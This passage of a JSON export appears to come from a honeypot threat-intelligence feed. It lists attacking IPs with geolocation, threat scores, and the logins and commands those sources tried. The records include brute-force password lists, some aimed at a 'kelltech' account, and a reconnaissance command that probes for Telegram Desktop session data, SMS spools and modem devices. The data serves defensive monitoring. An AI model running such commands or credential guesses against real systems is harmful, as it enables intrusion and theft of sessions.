        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 35,
        "Suricata": 21
      }
    },
    "216.255.50.94": {
      "attack_count": 34,
      "first_seen": "2026-04-02T05:23:17.596Z",
      "last_seen": "2026-04-02T05:26:26.454Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Morrow",
      "asn": 7106,
      "as_org": "Com Net, Inc.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T05:23:17.596000+00:00",
        "last_seen_30d": "2026-04-02T05:27:49.018000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 4
      }
    },
    "168.232.174.173": {
      "attack_count": 32,
      "first_seen": "2026-04-29T16:45:08.477Z",
      "last_seen": "2026-04-29T16:59:18.735Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Cl\u00e1udio",
      "asn": 263924,
      "as_org": "Sonik Servicos de Comunicacao LTDA",
      "threat_score": 28.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T16:45:08.477000+00:00",
        "last_seen_30d": "2026-04-29T17:00:27.956000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 17
      }
    },
    "164.92.174.246": {
      "attack_count": 29,
      "first_seen": "2026-04-24T19:32:44.529Z",
      "last_seen": "2026-04-25T22:06:56.454Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "a",
        "nil",
        "admin"
      ],
      "passwords_attempted": [
        "",
        "a",
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 31.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.4,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 55,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-24T19:32:44+00:00",
        "last_seen_30d": "2026-04-25T22:07:59.464000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 29,
        "Suricata": 22,
        "Honeytrap": 4
      }
    },
    "192.253.248.95": {
      "attack_count": 23,
      "first_seen": "2026-04-10T10:32:05.315Z",
      "last_seen": "2026-04-15T15:32:32.541Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "kelltech"
      ],
      "passwords_attempted": [
        "P@ssw0rd123@",
        "kelltech2020@",
        "kelltech2022#",
        "kelltech2023@"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T10:32:05.315000+00:00",
        "last_seen_30d": "2026-04-15T15:33:38.115000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 12
      }
    },
    "103.74.21.58": {
      "attack_count": 22,
      "first_seen": "2026-04-15T06:24:10.325Z",
      "last_seen": "2026-04-15T06:26:32.555Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 139879,
      "as_org": "Galaxy Broadband",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T06:24:10.325000+00:00",
        "last_seen_30d": "2026-04-15T06:27:34.046000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 12
      }
    },
    "14.116.150.36": {
      "attack_count": 22,
      "first_seen": "2026-04-15T04:51:11.195Z",
      "last_seen": "2026-04-30T03:37:20.705Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 40.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.3,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T04:51:11.195000+00:00",
        "last_seen_30d": "2026-04-30T03:38:27.889000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 12
      }
    },
    "149.78.54.45": {
      "attack_count": 20,
      "first_seen": "2026-04-26T15:02:16.709Z",
      "last_seen": "2026-04-26T15:16:41.217Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Buenos Aires",
      "asn": 263801,
      "as_org": "LINKEAR SRL",
      "threat_score": 24.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T15:02:16.709000+00:00",
        "last_seen_30d": "2026-04-26T15:17:50.315000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 15
      }
    },
    "73.155.235.39": {
      "attack_count": 16,
      "first_seen": "2026-04-15T13:37:47.720Z",
      "last_seen": "2026-04-15T13:40:21.727Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 32,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T13:37:47.720000+00:00",
        "last_seen_30d": "2026-04-15T13:41:48.502000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 16
      }
    },
    "178.128.121.17": {
      "attack_count": 15,
      "first_seen": "2026-04-27T15:02:50.232Z",
      "last_seen": "2026-04-27T15:07:17.842Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi",
        "root"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T15:01:28.670000+00:00",
        "last_seen_30d": "2026-04-27T15:08:23.707000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 8
      }
    },
    "182.42.82.81": {
      "attack_count": 15,
      "first_seen": "2026-04-11T18:02:54.739Z",
      "last_seen": "2026-04-13T17:02:25.601Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234#Kelltech",
        "2026#kelltech",
        "kelltech1234$"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 58519,
      "as_org": "Cloud Computing Corporation",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T18:02:54.739000+00:00",
        "last_seen_30d": "2026-04-13T17:03:32.427000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "146.59.231.55": {
      "attack_count": 13,
      "first_seen": "2026-04-10T14:36:41.966Z",
      "last_seen": "2026-04-10T19:40:22.329Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "kelltech1234@",
        "kelltech2025#"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T14:36:41.966000+00:00",
        "last_seen_30d": "2026-04-10T19:41:29.029000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 6
      }
    },
    "159.223.146.187": {
      "attack_count": 13,
      "first_seen": "2026-04-10T17:03:56.672Z",
      "last_seen": "2026-04-10T21:44:59.868Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "2024kelltech",
        "kelltech!2024"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T17:03:56.672000+00:00",
        "last_seen_30d": "2026-04-10T21:46:04.787000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 6
      }
    },
    "165.154.11.172": {
      "attack_count": 12,
      "first_seen": "2026-04-23T18:32:33.763Z",
      "last_seen": "2026-04-23T18:32:55.074Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Lagos",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 76.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 23.6,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 229,
        "days_active_30d": 25,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-03T16:11:38.017000+00:00",
        "last_seen_30d": "2026-04-27T14:12:48.402000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 141,
        "Honeytrap": 41,
        "ElasticPot": 35,
        "Cowrie": 12
      }
    },
    "177.9.231.49": {
      "attack_count": 12,
      "first_seen": "2026-04-25T12:09:32.829Z",
      "last_seen": "2026-04-25T12:15:55.698Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 27699,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T12:09:32.829000+00:00",
        "last_seen_30d": "2026-04-25T12:17:29.087000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 11
      }
    },
    "27.97.104.222": {
      "attack_count": 12,
      "first_seen": "2026-04-26T05:58:12.726Z",
      "last_seen": "2026-04-26T06:06:23.840Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Mehidpur",
      "asn": 45271,
      "as_org": "Vodafone Idea Ltd",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T05:58:12.726000+00:00",
        "last_seen_30d": "2026-04-26T06:07:28.099000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 8
      }
    },
    "92.118.39.195": {
      "attack_count": 12,
      "first_seen": "2026-04-22T22:03:55.147Z",
      "last_seen": "2026-04-24T19:02:45.989Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 22.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T22:03:55.147000+00:00",
        "last_seen_30d": "2026-04-24T19:03:49.817000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "103.141.116.202": {
      "attack_count": 11,
      "first_seen": "2026-04-03T23:36:34.705Z",
      "last_seen": "2026-04-03T23:39:38.098Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 134932,
      "as_org": "VORTEX INFOWAY PRIVATE LIMITED",
      "threat_score": 3.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.0,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T08:53:37+00:00",
        "last_seen_30d": "2026-04-03T23:40:45.786000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 11,
        "Suricata": 8,
        "Honeytrap": 1
      }
    },
    "66.132.195.93": {
      "attack_count": 10,
      "first_seen": "2026-04-12T12:31:24.276Z",
      "last_seen": "2026-04-17T07:43:26.337Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.5,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 179,
        "days_active_30d": 30,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T02:58:22+00:00",
        "last_seen_30d": "2026-04-30T12:54:30.023000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 118,
        "Honeytrap": 31,
        "ElasticPot": 14,
        "Cowrie": 10,
        "Honeyaml": 4,
        "Dionaea": 1,
        "Sentrypeer": 1
      }
    },
    "66.228.53.136": {
      "attack_count": 9,
      "first_seen": "2026-04-17T12:24:34.895Z",
      "last_seen": "2026-04-17T12:24:36.015Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Richardson",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 85.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.4,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 138,
        "days_active_30d": 29,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T22:36:40+00:00",
        "last_seen_30d": "2026-04-30T22:23:42.746000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 79,
        "Honeytrap": 48,
        "Cowrie": 9,
        "Dionaea": 2
      }
    },
    "45.84.107.47": {
      "attack_count": 8,
      "first_seen": "2026-04-25T19:53:25.534Z",
      "last_seen": "2026-04-25T19:53:49.493Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-24T09:05:15+00:00",
        "last_seen_30d": "2026-04-25T19:54:55.656000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5,
        "H0neytr4p": 1
      }
    },
    "68.183.1.175": {
      "attack_count": 8,
      "first_seen": "2026-04-14T23:27:53.136Z",
      "last_seen": "2026-04-14T23:29:37.056Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 zgrab/0.x"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 60.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 7.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 132945,
        "days_active_30d": 9,
        "ports_targeted_30d": 66764,
        "honeypots_triggered_30d": 16,
        "first_seen_30d": "2026-04-14T23:25:30+00:00",
        "last_seen_30d": "2026-04-22T14:56:07.956000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 116293,
        "Honeytrap": 16595,
        "Dionaea": 12,
        "ConPot": 10,
        "Cowrie": 8,
        "Miniprint": 8,
        "Mailoney": 6,
        "Redishoneypot": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "ElasticPot": 1,
        "Honeyaml": 1,
        "Ipphoney": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "192.109.200.219": {
      "attack_count": 7,
      "first_seen": "2026-04-13T19:28:40.777Z",
      "last_seen": "2026-04-13T19:30:08.320Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 58.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.7,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 188,
        "days_active_30d": 22,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T07:18:19+00:00",
        "last_seen_30d": "2026-04-23T12:05:53.076000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 111,
        "Honeytrap": 70,
        "Cowrie": 7
      }
    },
    "123.117.154.188": {
      "attack_count": 6,
      "first_seen": "2026-04-30T10:04:36.677Z",
      "last_seen": "2026-04-30T10:06:37.251Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T10:04:36.677000+00:00",
        "last_seen_30d": "2026-04-30T10:16:43.343000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "134.209.231.82": {
      "attack_count": 6,
      "first_seen": "2026-04-07T06:07:22.952Z",
      "last_seen": "2026-04-07T06:07:44.858Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "GET /v2/_catalog HTTP/1.1",
        "User-Agent: Go-http-client/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.5,
        "persistence": 5.0,
        "diversity": 16,
        "spread": 25,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 45,
        "days_active_30d": 6,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-05T20:47:25+00:00",
        "last_seen_30d": "2026-04-10T11:08:42.442000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28,
        "Honeytrap": 9,
        "Cowrie": 6,
        "Ipphoney": 1,
        "Tanner": 1
      }
    },
    "205.210.31.163": {
      "attack_count": 6,
      "first_seen": "2026-04-19T21:31:47.707Z",
      "last_seen": "2026-04-28T04:14:43.718Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
